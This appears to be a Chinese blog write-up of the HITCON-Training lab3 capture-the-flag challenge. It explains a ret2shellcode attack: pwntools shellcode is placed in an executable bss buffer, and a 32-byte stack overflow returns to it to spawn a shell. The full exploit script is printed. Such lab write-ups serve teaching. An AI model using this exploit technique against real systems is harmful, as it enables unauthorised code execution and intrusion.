本文主要是介绍CTF|HITCON-Training-master lab3 writeup (ret2shellcode题型),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
CTF|HITCON-Training-master lab3 writeup (ret2shellcode题型)
ret2shellcode题型
ret2shellcode,即控制程序执行 shellcode代码。
shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。
对于lab3
checksec显示所有保护都没有开启并且有可读可写可执行段(RWX)
显然read函数gets函数存在栈溢出
我们看到bss段中一个叫有name的部分即我们第一个输入的地方
gdb运行程序在main下断点后查看bss是否可执行
发现name所在的内存部分是可以执行的(rwxp)
所以我们决定第一次将shellcode写入bss段中的name处‘
第二次输入填充栈使其溢出后返回到name所在的位置执行shellcode
对于shellcode的生成 pwntools提供了一个办法
shellcode = asm(shellcraft.sh())
exp
r = process('./ret2sc')
name = 0x804a060
r.recvuntil(":")
r.sendline(asm(shellcraft.sh()))
r.recvuntil(":")
payload = "a"*32
payload += p32(name)
r.sendline(payload)r.interactive()
这篇关于CTF|HITCON-Training-master lab3 writeup (ret2shellcode题型)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!